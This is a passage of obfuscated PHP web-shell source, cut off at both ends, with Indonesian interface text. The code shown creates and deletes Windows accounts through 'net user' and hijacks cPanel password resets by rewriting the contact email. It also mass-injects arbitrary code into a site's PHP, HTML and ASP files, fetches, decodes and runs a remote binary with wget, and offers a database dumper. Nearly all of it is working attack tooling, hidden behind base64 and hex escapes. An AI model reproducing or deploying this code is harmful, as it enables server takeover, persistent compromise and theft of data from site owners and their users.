exe(wb('bmV0IHVzZXI=')))) { echo wb('W2NoYW5nZSBwYXNzd29yZDogPGZvbnQgY29sb3I9bGltZT5rYXNpbm88L2ZvbnQ+XSAtPiA='); if ($cek) { echo wb('PGZvbnQgY29sb3I9bGltZT5CZXJoYXNpbDwvZm9udD4='); } else { echo wb('PGZvbnQgY29sb3I9cmVkPkdhZ2FsPC9mb250Pg=='); } } else { echo "\133\111\116\106\117\135\40\x2d\76\40\x3c\146\x6f\x6e\x74\x20\x63\x6f\154\x6f\162\x3d\x72\145\x64\x3e\165\x73\x65\x72\40\74\x66\157\156\164\x20\143\x6f\154\x6f\162\75\x6c\x69\155\x65\76{$user}\74\57\146\x6f\x6e\164\x3e\x20\x62\145\154\x75\155\40\141\x64\x61\74\x2f\146\x6f\156\164\x3e"; } } elseif ($_POST[wb('b3BzaQ==')] == wb('Mw==')) { $cek = exe("\x6e\x65\x74\40\165\163\x65\162\40{$user}\x20\x2f\104\x45\114\105\124\105"); if (preg_match("\57{$user}\57", exe(wb('bmV0IHVzZXI=')))) { echo "\x5b\162\x65\x6d\157\x76\145\40\165\x73\x65\x72\72\x20\x3c\146\157\x6e\164\x20\143\157\154\157\162\75\154\151\155\x65\76{$user}\74\57\x66\157\156\164\76\x5d\40\55\x3e\x20"; if ($cek) { echo wb('PGZvbnQgY29sb3I9bGltZT5CZXJoYXNpbDwvZm9udD4='); } else { echo wb('PGZvbnQgY29sb3I9cmVkPkdhZ2FsPC9mb250Pg=='); } } else { echo "\133\111\116\106\117\x5d\x20\x2d\x3e\40\74\146\157\x6e\164\x20\x63\157\x6c\157\162\75\162\145\x64\x3e\x75\163\x65\x72\40\x3c\146\x6f\156\164\x20\143\x6f\154\x6f\162\x3d\154\x69\x6d\145\x3e{$user}\x3c\57\x66\x6f\x6e\x74\76\x20\x62\145\154\165\155\40\x61\144\141\74\x2f\146\x6f\156\x74\76"; } } else { } } else { echo wb('PGhyPjxicj48Y2VudGVyPg=='); echo wb('PGgyPlJEUCBTaGVsbDwvaDI+'); echo wb('LS0gQ3JlYXRlIFJEUCAtLTxicj48Zm9ybSBtZXRob2Q9J3Bvc3QnPjxkaXYgY2xhc3M9J2NsZWFyZml4IHJvdyc+PGRpdiBjbGFzcz0nY29sLW1kLTQnPjx1PlVzZXJuYW1lOjwvdT4gPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wnbmFtZT0ndXNlcidzdHlsZT0nd2lkdGg6MjUwcHg7aGVpZ2h0OjQwcHgndmFsdWU9J1NhVGluR0dhJ3BsYWNlaG9sZGVyPSd1c2VybmFtZSdyZXF1aXJlZD48L2Rpdj48ZGl2IGNsYXNzPSdjb2wtbWQtNCc+PHU+UGFzc3dvcmQ6PC91PiA8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCduYW1lPSdwYXNzJ3N0eWxlPSd3aWR0aDoyNTBweDtoZWlnaHQ6NDBweCd2YWx1ZT0nU2FUaW5HR2EncGxhY2Vob2xkZXI9J3Bhc3N3b3JkJ3JlcXVpcmVkPjwvZGl2PjxkaXYgY2xhc3M9J2NvbC1tZC00Jz48dT5CdXR0b246PC91PiA8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCduYW1lPSdjcmVhdGUnc3R5bGU9J3dpZHRoOjI1MHB4O2hlaWdodDo0MHB4J3ZhbHVlPSdHYXNzJ3R5cGU9J3N1Ym1pdCc+PC9kaXY+PC9kaXY+PC9mb3JtPjxicj4tLSBPcHRpb24gLS08YnI+PGZvcm0gbWV0aG9kPSdwb3N0Jz48ZGl2IGNsYXNzPSdjbGVhcmZpeCByb3cnPjxkaXYgY2xhc3M9J2NvbC1tZC00Jz48aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCduYW1lPSdyX3VzZXInc3R5bGU9J3dpZHRoOjI1MHB4O2hlaWdodDo0MHB4J3BsYWNlaG9sZGVyPSd1c2VybmFtZSdyZXF1aXJlZD48L2Rpdj48ZGl2IGNsYXNzPSdjb2wtbWQtNCc+PHNlbGVjdCBjbGFzcz0nZm9ybS1jb250cm9sJ25hbWU9J29wc2knc3R5bGU9J3dpZHRoOjI1MHB4O2hlaWdodDo0MHB4Jz48b3B0aW9uIHZhbHVlPScxJz5DZWsgVXNlcm5hbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPScyJz5VYmFoIFBhc3N3b3JkPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nMyc+SGFwdXMgVXNlcm5hbWU8L29wdGlvbj48L3NlbGVjdD48L2Rpdj48ZGl2IGNsYXNzPSdjb2wtbWQtNCc+PGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wnbmFtZT0nc19vcHNpJ3N0eWxlPSd3aWR0aDoyNTBweDtoZWlnaHQ6NDBweCd2YWx1ZT0nQ2VrJ3R5cGU9J3N1Ym1pdCc+PC9kaXY+PC9kaXY+PC9mb3JtPjxocj48YnI+'); } } else { echo wb('PGNlbnRlcj48aDI+PGZvbnQgY29sb3I9cmVkPkZpdHVyIGluaSBoYW55YSBkYXBhdCBkaWd1bmFrYW4gZGFsYW0gV2luZG93cyBTZXJ2ZXIuPC9mb250PjwvaDI+PC9jZW50ZXI+'); } } elseif (isset($_GET[hex(wb('Y3BhbmVsLXJlc2V0'))])) { AutomenU($d); echo wb('PGhyPjxicj48Y2VudGVyPjxoMj5DcGFuZWwgUmVzZXQgWTwvaDI+PGJyPjxicj48Zm9ybSBhY3Rpb249IiJtZXRob2Q9InBvc3QiPjxiPkVtYWlsIDogPC9iPjxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIm5hbWU9ImVtYWlsInN0eWxlPSJ3aWR0aDoyNTBweDtoZWlnaHQ6NDBweCJ0eXBlPSJlbWFpbCJhdXRvY29tcGxldGU9Im9mZiI+PGJyPjxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIm5hbWU9InN1Ym1pdCJzdHlsZT0id2lkdGg6MjUwcHg7aGVpZ2h0OjQwcHgidHlwZT0ic3VibWl0InZhbHVlPSJSZXNldCBQYXNzd29yZCEiPjwvZm9ybT48YnI+PC9jZW50ZXI+PGJyPjxicj4g'); $user = get_current_user(); $site = $_SERVER[wb('SFRUUF9IT1NU')]; $ips = getenv(wb('UkVNT1RFX0FERFI=')); if (isset($_POST[wb('c3VibWl0')])) { $email = $_POST[wb('ZW1haWw=')]; $wr = wb('ZW1haWw6') . $email; $f = $GNJ[17](wb('L2hvbWUv') . $user . wb('Ly5jcGFuZWwvY29udGFjdGluZm8='), wb('dw==')); $GNJ[18]($f, $wr); $GNJ[19]($f); $f = $GNJ[17](wb('L2hvbWUv') . $user . wb('Ly5jb250YWN0aW5mbw=='), wb('dw==')); $GNJ[18]($f, $wr); $GNJ[19]($f); $parm = wb('Ly8=') . $site . wb('OjIwODMvcmVzZXRwYXNzP3N0YXJ0PTE='); echo wb('PGJyLz48Y2VudGVyPkRpc2luaSA8YSBocmVmPSI=') . $parm . wb('IiB0YXJnZXQ9Il9ibGFuayI+') . $parm . wb('PC9hPjwvY2VudGVyPg=='); } } elseif (isset($_GET[hex(wb('emlwLW1lbnU='))])) { AutomenU($d); echo wb('PGNlbnRlcj4='); echo wb('PGhyPjxicj4='); if (!class_exists(wb('WmlwQXJjaGl2ZQ=='))) { echo wb('PGgxIGNsYXNzPSdibGluayc+UEhQIFNlcnZlciBoYXMgTm8gWmlwQXJjaGl2ZSBDbGFzczwvaDE+PC9ocj4='); } echo wb('PGgyPlppcCBNZW51PC9oMj4='); if ($_FILES[wb('emlwX2ZpbGU=')][wb('bmFtZQ==')]) { $filename = $_FILES[wb('emlwX2ZpbGU=')][wb('bmFtZQ==')]; $source = $_FILES[wb('emlwX2ZpbGU=')][wb('dG1wX25hbWU=')]; $type = $_FILES[wb('emlwX2ZpbGU=')][wb('dHlwZQ==')]; $name = explode(wb('Lg=='), $filename); $accepted_types = array(wb('YXBwbGljYXRpb24vemlw'), wb('YXBwbGljYXRpb24veC16aXAtY29tcHJlc3NlZA=='), wb('bXVsdGlwYXJ0L3gtemlw'), wb('YXBwbGljYXRpb24veC1jb21wcmVzc2Vk')); foreach ($accepted_types as $mime_type) { if ($mime_type == $type) { $okay = true; break; } } $continue = strtolower($name[1]) == wb('emlw') ? true : false; if (!$continue) { $message = wb('SXR1IEJ1a2FuIFppcCAgLCAsIEdPQkxPSyBDT0s='); } $path = dirname(__FILE__) . wb('Lw=='); $filenoext = basename($filename, wb('LnppcA==')); $filenoext = basename($filenoext, wb('LlpJUA==')); $targetdir = $path . $filenoext; $targetzip = $path . $filename; if ($GNJ[8]($targetdir)) { rec($targetdir); } else { $GNJ[11]($targetdir, 511, true); } if (move_uploaded_file($source, $targetzip)) { if (class_exists(wb('WmlwQXJjaGl2ZQ=='))) { $zip = new ZipArchive(); $x = $zip->open($targetzip); if ($x === true) { $zip->extractTo($targetdir); $zip->close(); @$GNJ[10]($targetzip); } $message = wb('PGI+U3Vrc2VzIENvayA6KTwvYj4='); } else { $message = wb('PGI+RXJyb3IgSmFuY29rIDooPC9iPg=='); } } } echo wb('PGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+PGxhYmVsPlppcCBGaWxlIDogPGlucHV0IHR5cGU9ImZpbGUiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9InppcF9maWxlIiAvPjwvbGFiZWw+PGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImZvcm0tY29udHJvbCIgc3R5bGU9IndpZHRoOjI1MHB4OyIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iVXBsb2FkIEFuZCBVbnppcCIgLz48L2Zvcm0+PGJyPjxicj4='); if ($message) { echo "\x3c\x70\76{$message}\x3c\57\x70\x3e"; } echo "\x3c\150\x32\76\x5a\151\x70\x20\x42\141\143\x6b\165\160\74\57\x68\x32\76\x3c\146\157\x72\x6d\x20\x61\x63\x74\151\157\x6e\x3d\x27\x27\40\x6d\145\164\x68\x6f\x64\75\47\160\x6f\163\164\x27\x3e\x3c\x66\x6f\x6e\164\40\163\x74\x79\x6c\145\75\x27\164\145\x78\164\55\x64\x65\x63\x6f\162\x61\164\x69\x6f\x6e\x3a\x20\x75\x6e\x64\x65\x72\154\151\x6e\x65\x3b\x27\x3e\x46\157\x6c\x64\145\x72\x3a\74\57\146\157\x6e\164\76\74\x62\x72\x3e\74\x69\x6e\160\165\x74\x20\143\154\141\x73\x73\75\47\146\157\x72\155\x2d\143\x6f\x6e\164\x72\157\x6c\x27\x20\164\171\x70\x65\75\47\x74\145\x78\x74\47\x20\x6e\x61\x6d\145\x3d\x27\x64\151\x72\47\x20\x76\141\x6c\x75\145\x3d\47{$dir}\47\x20\x73\164\x79\x6c\x65\x3d\47\167\151\x64\x74\150\72\x20\64\x35\60\x70\x78\73\47\40\x68\x65\151\x67\x68\164\75\x27\61\x30\x27\x3e\74\x62\x72\x3e\74\x66\x6f\156\x74\40\x73\164\171\154\145\75\x27\164\x65\170\164\x2d\x64\x65\143\157\162\141\164\151\157\156\72\x20\x75\x6e\x64\x65\x72\x6c\x69\156\145\x3b\x27\76\123\141\166\145\x20\124\157\x3a\x3c\57\x66\x6f\156\164\x3e\74\x62\x72\x3e\74\x69\x6e\160\x75\164\40\143\154\x61\x73\x73\x3d\x27\146\157\162\155\55\143\x6f\x6e\x74\162\157\154\x27\40\164\x79\x70\145\x3d\47\164\145\x78\164\x27\40\156\141\155\145\75\x27\163\141\166\x65\x27\x20\166\141\x6c\165\x65\x3d\x27{$dir}\57\x59\137\x62\141\143\153\165\160\56\x7a\151\160\47\40\163\x74\171\154\x65\75\47\x77\x69\144\164\150\x3a\x20\x34\65\60\x70\170\x3b\x27\40\150\x65\x69\x67\150\164\x3d\47\61\x30\47\76\74\142\162\76\74\142\x72\x3e\x3c\x69\x6e\x70\165\x74\40\x63\154\141\163\x73\x3d\47\146\x6f\x72\x6d\55\x63\x6f\156\164\x72\157\x6c\x27\40\164\171\160\145\x3d\47\x73\165\x62\x6d\x69\164\x27\40\x6e\141\x6d\x65\x3d\47\x62\141\143\x6b\165\160\47\x20\x63\154\x61\163\x73\x3d\x27\x6b\x6f\x74\x61\x6b\47\40\x76\141\x6c\x75\145\x3d\x27\102\141\x63\153\40\x55\160\41\47\x20\x73\x74\171\x6c\145\75\x27\x77\x69\x64\x74\x68\x3a\x20\62\61\x35\x70\x78\73\47\x3e\x3c\x2f\146\157\x72\x6d\x3e\74\142\x72\76\74\x62\162\76"; if ($_POST[wb('YmFja3Vw')]) { $save = $_POST[wb('c2F2ZQ==')]; function Zip($source, $destination) { global $GNJ; if (extension_loaded(wb('emlw')) === true) { if ($GNJ[26]($source) === true) { $zip = new ZipArchive(); if ($zip->open($destination, ZIPARCHIVE::CREATE) === true) { $source = realpath($source); if ($GNJ[8]($source) === true) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); foreach ($files as $file) { $file = realpath($file); if ($GNJ[8]($file) === true) { $zip->addEmptyDir($GNJ[14]($source . wb('Lw=='), '', $file . wb('Lw=='))); } else { if (is_file($file) === true) { $zip->addFromString($GNJ[14]($source . wb('Lw=='), '', $file), fgt($file)); } } } } else { if (is_file($source) === true) { $zip->addFromString(basename($source), fgt($source)); } } } return $zip->close(); } } return false; } Zip($_POST[wb('ZGly')], $save); echo "\x53\145\x6c\145\x73\x61\151\x20\54\x20\123\141\x76\x65\40\x54\x6f\x20\x3c\142\x3e{$save}\74\x2f\142\x3e"; } echo "\74\150\62\x3e\125\x6e\x7a\x69\x70\40\115\x61\x6e\165\x61\154\74\x2f\x68\x32\76\74\146\x6f\x72\155\x20\x61\x63\164\x69\x6f\x6e\x3d\47\x27\40\155\145\164\150\x6f\144\75\47\160\x6f\163\164\47\x3e\x3c\146\157\156\164\x20\x73\164\x79\154\x65\75\47\x74\x65\170\164\x2d\144\145\143\x6f\x72\141\x74\151\157\x6e\72\x20\x75\156\x64\x65\162\x6c\151\156\145\73\47\x3e\132\151\x70\40\114\x6f\143\x61\164\x69\157\156\x3a\x3c\57\146\x6f\x6e\164\x3e\74\142\x72\76\74\x69\x6e\x70\x75\164\x20\x63\x6c\x61\163\163\x3d\x27\146\x6f\162\155\x2d\143\157\x6e\164\162\x6f\x6c\x27\x20\x74\x79\160\x65\x3d\47\164\x65\170\164\x27\x20\156\141\x6d\145\x3d\47\144\x69\x72\x27\x20\166\x61\154\165\145\75\47{$dir}\x2f\146\x69\x6c\x65\56\x7a\151\x70\x27\40\x73\x74\x79\154\x65\x3d\47\x77\x69\x64\164\150\72\x20\x34\65\x30\160\170\x3b\x27\x20\150\145\x69\147\150\164\75\47\x31\60\47\76\74\x62\x72\x3e\x3c\x66\x6f\x6e\164\40\x73\x74\x79\x6c\x65\75\47\x74\145\x78\164\x2d\144\145\x63\157\x72\141\x74\151\157\x6e\x3a\40\165\x6e\144\145\x72\154\x69\x6e\x65\x3b\x27\76\x53\141\x76\x65\40\x54\157\72\74\57\x66\x6f\156\164\76\74\142\162\76\74\x69\156\x70\x75\x74\x20\143\x6c\x61\163\x73\75\47\x66\x6f\162\155\55\x63\x6f\156\164\x72\x6f\x6c\x27\40\164\171\x70\x65\x3d\47\164\145\170\x74\x27\40\156\141\155\x65\75\47\x73\x61\x76\145\x27\x20\166\x61\x6c\165\145\75\x27{$dir}\x2f\131\137\x75\156\172\151\x70\47\40\x73\164\x79\x6c\145\x3d\47\167\151\x64\164\x68\72\40\x34\65\60\x70\x78\x3b\x27\40\x68\145\151\x67\x68\164\x3d\x27\x31\60\47\76\74\x62\162\76\74\x62\162\x3e\x3c\x69\x6e\x70\x75\x74\x20\x63\x6c\141\163\163\75\47\146\157\x72\x6d\55\143\157\156\164\162\x6f\x6c\47\40\x74\x79\x70\x65\75\47\163\x75\x62\x6d\151\164\x27\40\x6e\x61\x6d\x65\x3d\47\x65\x78\x74\x72\x61\153\x27\40\143\154\141\x73\163\x3d\47\x6b\157\x74\141\x6b\x27\x20\166\x61\154\x75\145\x3d\47\125\156\172\x69\x70\41\x27\x20\163\x74\171\154\x65\75\x27\x77\x69\x64\x74\x68\72\x20\x32\x31\x35\x70\170\x3b\47\76\74\57\x66\x6f\x72\x6d\x3e\x3c\142\162\x3e\74\x62\x72\x3e"; if ($_POST[wb('ZXh0cmFr')]) { $save = $_POST[wb('c2F2ZQ==')]; $zip = new ZipArchive(); $res = $zip->open($_POST[wb('ZGly')]); if ($res === true) { $zip->extractTo($save); $zip->close(); OK(); } else { ER(); } } } elseif (isset($_GET[hex(wb('aW5qZWN0LWNvZGU='))])) { MassmenU($d); echo wb('PGNlbnRlcj48aDI+TWFzcyBDb2RlIEluamVjdG9yIFk8L2gyPjwvY2VudGVyPg=='); if (stristr(php_uname(), wb('V2luZG93cw=='))) { $DS = wb('XA=='); } else { if (stristr(php_uname(), wb('TGludXg='))) { $DS = wb('Lw=='); } } function get_structure($path, $depth) { global $DS; $res = array(); if (in_array(0, $depth)) { $res[] = $path; } if (in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) { $tmp1 = glob($path . $DS . wb('Kg=='), GLOB_ONLYDIR); if (in_array(1, $depth)) { $res = array_merge($res, $tmp1); } } if (in_array(2, $depth) or in_array(3, $depth)) { $tmp2 = array(); foreach ($tmp1 as $t) { $tp2 = glob($t . $DS . wb('Kg=='), GLOB_ONLYDIR); $tmp2 = array_merge($tmp2, $tp2); } if (in_array(2, $depth)) { $res = array_merge($res, $tmp2); } } if (in_array(3, $depth)) { $tmp3 = array(); foreach ($tmp2 as $t) { $tp3 = glob($t . $DS . wb('Kg=='), GLOB_ONLYDIR); $tmp3 = array_merge($tmp3, $tp3); } $res = array_merge($res, $tmp3); } return $res; } if (isset($_POST[wb('c3VibWl0')]) && $_POST[wb('c3VibWl0')] == wb('SW5qZWN0')) { $name = $_POST[wb('bmFtZQ==')] ? $_POST[wb('bmFtZQ==')] : wb('Kg=='); $type = $_POST[wb('dHlwZQ==')] ? $_POST[wb('dHlwZQ==')] : wb('aHRtbA=='); $path = $_POST[wb('cGF0aA==')] ? $_POST[wb('cGF0aA==')] : dapatCWD(); $code = $_POST[wb('Y29kZQ==')] ? $_POST[wb('Y29kZQ==')] : wb('RXJyb3I='); $mode = $_POST[wb('bW9kZQ==')] ? $_POST[wb('bW9kZQ==')] : wb('YQ=='); $depth = sizeof($_POST[wb('ZGVwdGg=')]) ? $_POST[wb('ZGVwdGg=')] : array(wb('MA==')); $dt = get_structure($path, $depth); foreach ($dt as $d) { if ($mode == wb('YQ==')) { if ($name === wb('Kg==')) { $name = glob(wb('Kg==') . $type); foreach ($name as $r) { if (file_put_contents($d . $DS . $r, $code, FILE_APPEND | LOCK_EX)) { echo wb('PGRpdj48c3Ryb25nPg==') . $d . $DS . $r . wb('PC9zdHJvbmc+PHNwYW4gc3R5bGU9ImNvbG9yOnJlZDsiPiB3YXMgaW5qZWN0ZWQ8L3NwYW4+PC9kaXY+'); } else { echo wb('PGRpdj48c3BhbiBzdHlsZT0iY29sb3I6cmVkOyI+ZmFpbGVkIHRvIGluamVjdDwvc3Bhbj4gPHN0cm9uZz4=') . $d . $DS . $r . wb('PC9zdHJvbmc+PC9kaXY+'); } } } else { if (file_put_contents($d . $DS . $name . wb('Lg==') . $type, $code, FILE_APPEND | LOCK_EX)) { echo wb('PGRpdj48c3Ryb25nPg==') . $d . $DS . $name . wb('Lg==') . $type . wb('PC9zdHJvbmc+PHNwYW4gc3R5bGU9ImNvbG9yOnJlZDsiPiB3YXMgaW5qZWN0ZWQ8L3NwYW4+PC9kaXY+'); } else { echo wb('PGRpdj48c3BhbiBzdHlsZT0iY29sb3I6cmVkOyI+ZmFpbGVkIHRvIGluamVjdDwvc3Bhbj4gPHN0cm9uZz4=') . $d . $DS . $name . wb('Lg==') . $type . wb('PC9zdHJvbmc+PC9kaXY+'); } } } elseif ($mode == wb('YWY=')) { if ($name === wb('Kg==')) { $name = glob(wb('Kg==') . $type); foreach ($name as $r) { $prepender = prepend($code, $d . $DS . $r); } } else { $prepender = prepend($code, $d . $DS . $name . wb('Lg==') . $type); } } else { if (file_put_contents($d . $DS . $name . wb('Lg==') . $type, $code)) { echo wb('PGRpdj48c3Ryb25nPg==') . $d . $DS . $name . wb('Lg==') . $type . wb('PC9zdHJvbmc+PHNwYW4gc3R5bGU9ImNvbG9yOnJlZDsiPiB3YXMgaW5qZWN0ZWQ8L3NwYW4+PC9kaXY+'); } else { echo wb('PGRpdj48c3BhbiBzdHlsZT0iY29sb3I6cmVkOyI+ZmFpbGVkIHRvIGluamVjdDwvc3Bhbj4gPHN0cm9uZz4=') . $d . $DS . $name . wb('Lg==') . $type . wb('PC9zdHJvbmc+PC9kaXY+'); } } } } else { echo wb('PGZvcm0gYWN0aW9uPSIibWV0aG9kPSJwb3N0Ij48Y2VudGVyPjx0YWJsZSBhbGlnbj0iY2VudGVyIj48dHI+PGJyPjx0ZD5EaXJlY3RvcnkgOjwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXRoInZhbHVlPSI=') . dapatCWD() . wb('ImNsYXNzPSJmb3JtLWNvbnRyb2wiY2xhc3M9ImJveCJzaXplPSI1MCI+PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9InRpdGxlIj5Nb2RlIDo8L3RkPjx0ZD48c2VsZWN0IGNsYXNzPSJmb3JtLWNvbnRyb2wiY2xhc3M9ImJveCJuYW1lPSJtb2RlInN0eWxlPSJ3aWR0aDoxNzVweCI+PG9wdGlvbiB2YWx1ZT0iYSI+QXBwZW5kZXIgRW5kPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iYWYic2VsZWN0ZWQ+UHJlcGVuZGVyIEZpcnN0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idyI+T3ZlcndyaXRlcjwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSJ0aXRsZSI+RmlsZSBOYW1lICYgVHlwZSA6PC90ZD48dGQgY2xhc3M9ImZvcm0taW5saW5lIj48YnI+PGlucHV0IG5hbWU9Im5hbWUidmFsdWU9IioiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHN0eWxlPSJ3aWR0aDoxMDBweCI+IDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCBtbC0zIiBjbGFzcz0iYm94IiBuYW1lPSJ0eXBlIiBzdHlsZT0id2lkdGg6MTUwcHgiPjxvcHRpb24gdmFsdWU9Imh0bWwiPkhUTUw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJodG0iPkhUTTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBocCIgc2VsZWN0ZWQ+UEhQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iYXNwIj5BU1A8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJhc3B4Ij5BU1BYPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ieG1sIj5YTUw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0eHQiPlRYVDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSJ0aXRsZSI+Q29kZSBJbmplY3QgRGVwdGggOjwvdGQ+PHRkIGNsYXNzPSJmb3JtLWNoZWNrIGZvcm0tY2hlY2staW5saW5lIj48aW5wdXQgbmFtZT0iZGVwdGhbXSIgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIwIiBjaGVja2VkPiAwICZuYnNwOyA8aW5wdXQgbmFtZT0iZGVwdGhbXSIgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIxIj4gMSAmbmJzcDsgPGlucHV0IG5hbWU9ImRlcHRoW10iIHR5cGU9ImNoZWNrYm94IiB2YWx1ZT0iMiI+IDIgJm5ic3A7IDxpbnB1dCBuYW1lPSJkZXB0aFtdIiB0eXBlPSJjaGVja2JveCIgdmFsdWU9IjMiPiAzPC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0iMiI+PHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wibmFtZT0iY29kZSJzdHlsZT0id2lkdGg6MTAwJSI+PC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPSIyIiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJJbmplY3RvciI+IDxpbnB1dCBuYW1lPSJjInR5cGU9ImhpZGRlbiJ2YWx1ZT0i') . $GNJ[15](dapatCWD()) . wb('Ij4gPGlucHV0IG5hbWU9InAxInR5cGU9ImhpZGRlbiI+IDxpbnB1dCBuYW1lPSJwMiIgdHlwZT0iaGlkZGVuIj4gPGlucHV0IG5hbWU9ImNoYXJzZXQidHlwZT0iaGlkZGVuInZhbHVlPSI=') . (isset($_POST[wb('Y2hhcnNldA==')]) ? $_POST[wb('Y2hhcnNldA==')] : '') . wb('Ij4gPGlucHV0IG5hbWU9InN1Ym1pdCJ0eXBlPSJzdWJtaXQiIHZhbHVlPSJJbmplY3QiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG9uY2xpY2s9InJldHVybiBjb25maXJtKCdZYWtpbiBhdGF1IHRpZGFrID8nKTsiIHN0eWxlPSJwYWRkaW5nOjVweDt3aWR0aDoxMDBweCI+PC90ZD48YnI+PC90cj48L3RhYmxlPjwvZm9ybT4='); } echo wb('PGJyPg=='); } elseif (isset($_GET[hex(wb('eGluZm8='))])) { AutomenU($d); $vt_key = wb('MDVhZTU2ZDI4NGU4OWM1ODE0MGJlYTVkMzFjNWQzMWZjNjFmN2FjM2NhMWY2Y2JjNzQyNmMyOWE0N2E3ZTBlYg=='); echo wb('PGNlbnRlcj48aHI+PGJyPjxoMj5YLUlORk88L2gyPg=='); echo wb('PHN0eWxlPnByZSBzcGFue2Rpc3BsYXk6YmxvY2s7bGluZS1oZWlnaHQ6MS41cmVtfXByZSBzcGFuOmJlZm9yZXtjb3VudGVyLWluY3JlbWVudDpsaW5lO2NvbnRlbnQ6Y291bnRlcihsaW5lKTtkaXNwbGF5OmlubGluZS1ibG9jaztib3JkZXItcmlnaHQ6MXB4IHNvbGlkICNkZGQ7cGFkZGluZzowIC41ZW07bWFyZ2luLXJpZ2h0Oi41ZW07Y29sb3I6Izg4ODt3aWR0aDozMHB4fTwvc3R5bGU+'); if ($GNJ[26](wb('b3NrYWRvbm95ZS50eHQ='))) { echo wb('PHByZT48dGV4dGFyZWEgcmVhZG9ubHk+') . b64dd(fgt(wb('b3NrYWRvbm95ZS50eHQ='))) . wb('PC90ZXh0YXJlYT48L3ByZT4='); } else { @set_time_limit(0); $checkinfo = exe(wb('d2dldCAtLXVzZXItYWdlbnQ9IiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNzQuMC4zNzI5LjE2OSBTYWZhcmkvNTM3LjM2IiAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIA==') . decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3o3eThqb0ptdmJTOA==')) . wb('ICYmIGJhc2U2NCAtZCA1LnBzZCA+IGFwYWxvZSAmJiBjaG1vZCAreCBhcGFsb2U7cm0gLXJmIDUucHNkICYmIC4vYXBhbG9lIC1hTnNxID4gb3NrYWRvbi50eHQgJiYgcm0gLXJmIGFwYWxvZSAmJiBiYXNlNjQgb3NrYWRvbi50eHQgPiBvc2thZG9ub3llLnR4dCAmJiBybSAtcmYgb3NrYWRvbi50eHQ=')); } } elseif (isset($_GET[hex(wb('ZGItZHVtcA=='))])) { AutomenU($d); echo wb('PGNlbnRlcj48aHI+PGJyPjxmb3JtIGFjdGlvbiBtZXRob2Q9InBvc3QiPjx0YWJsZSBjbGFzcz0idGFibmV0IndpZHRoPSIzNzEiPjxoMj5EYXRhYmFzZSBEdW1wZXIgWTwvaDI+PHRyPjx0ZD5TZXJ2ZXI8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCJhdXRvY29tcGxldGU9Im9mZiJuYW1lPSJzZXJ2ZXIic2l6ZT0iNTIiPjwvdGQ+PC90cj48dHI+PHRkPlVzZXJuYW1lPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiYXV0b2NvbXBsZXRlPSJvZmYibmFtZT0idXNlcm5hbWUic2l6ZT0iNTIiPjwvdGQ+PC90cj48dHI+PHRkPlBhc3N3b3JkPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiYXV0b2NvbXBsZXRlPSJvZmYibmFtZT0icGFzc3dvcmQic2l6ZT0iNTIiPjwvdGQ+PC90cj48dHI+PHRkPkRhdGFCYXNlIE5hbWU8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCJhdXRvY29tcGxldGU9Im9mZiJuYW1lPSJkYm5hbWUic2l6ZT0iNTIiPjwvdGQ+PC90cj48dHI+PHRkPkRCIFR5cGU8L3RkPjx0ZD48Zm9ybSBhY3Rpb249IiJtZXRob2Q9InBvc3QiPjxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCJuYW1lPSJtZXRob2QiPjxvcHRpb24gdmFsdWU9Imd6aXAiPkd6aXA8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzcWwiPlNxbDwvb3B0aW9uPjwvc2VsZWN0Pjxicj48aW5wdXQgY2